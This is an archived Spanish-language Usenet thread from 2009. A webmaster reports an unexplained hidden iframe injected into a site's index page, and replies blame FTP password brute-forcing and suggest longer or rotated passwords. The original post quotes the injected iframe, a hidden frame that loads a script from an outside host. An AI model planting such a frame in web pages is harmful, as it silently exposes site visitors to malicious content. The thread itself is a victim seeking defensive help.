🚀 go-pugleaf

On 08/16/2009 01:38 AM, News VTR wrote:
> Estimados, el ataque se realiza a través del servicio de FTP.
>
> El procedimiento es que ponen un algoritmo de descifrador de cuentas FTP y
> lo dejan corriendo sobre una lista de sitios (puede que sea un robot
> programado para esto), una vez descifrada la pass, la guarda y los tiene
> parque inyectando el famoso HTML que inserta una linea con un frame de otro
> lado.
>
> Para parar estos ataques, les recomiendo que hagan cambio de sus pass de FTP
> cada cierto tiempo, ojalá sea generado por algun algoritmo de generacion de
> codigos. A medida que vayan generando esta pass (una vez al mes, por
> ejemplo), guardenla y haganse el hábito de cambiarla a cada rato (una vez al
> mes está bien). Si la Pass que generan resulta de alta dificultad para estos
> robots, entonces haganlo solo una vez, o hasta que les pase nuevamente.
>
> A mi me pasaba, hasta que deduje que este era el motivo, me hice el habito
> de cambiar la pass del FTP y todo solucionado.
>
> Salu2,
> antxb4nx23r
>
>
> "News VTR"<reeddume@gmail.com>  escribió en el mensaje
> news:h4k8ht$ujb$1@news.nivel5.cl...
>> Una pagina index he tenido que corregirla varias veces, porque de repente
>> aparece "desplazada" hacia abajo.
>> Mirando el codigo, resulta que APARECE un iframe que yo no he puesto y que
>> produce el desplazamiento.
>> El codigo "intruso" es este:
>> <iframe src="http://u1j.in:8080/ts/in.cgi?pepsi109" width=125 height=125
>> style="visibility: hidden"></iframe>
>>
>> ¿como puede haberse "metido" al codigo, y ya en el Servidor?
>>
>> ¿Alguna experiencia al respecto?
>> ¿Que se puede hacer?
>>
>> So no + y gracias
>>
>
>

No creo que haga falta cambiar cada cierto tiempo aunque igual
puede servir.

Si es un robot estos hacen ataques de fuerza bruta a las contraseñas.-
Osea intentan cada combinación hasta acertar a la correcta.
Si tu contraseña era de menos de 5 caracteres entonces la encontraron
rapido... pero si haces una larga de digamos 25 caracteres, ahí
nunca..... probablemente años.

¿Igual no sabes si hay alguna forma de que el servidor detecte los
ataques y filtre las ips de donde se originan?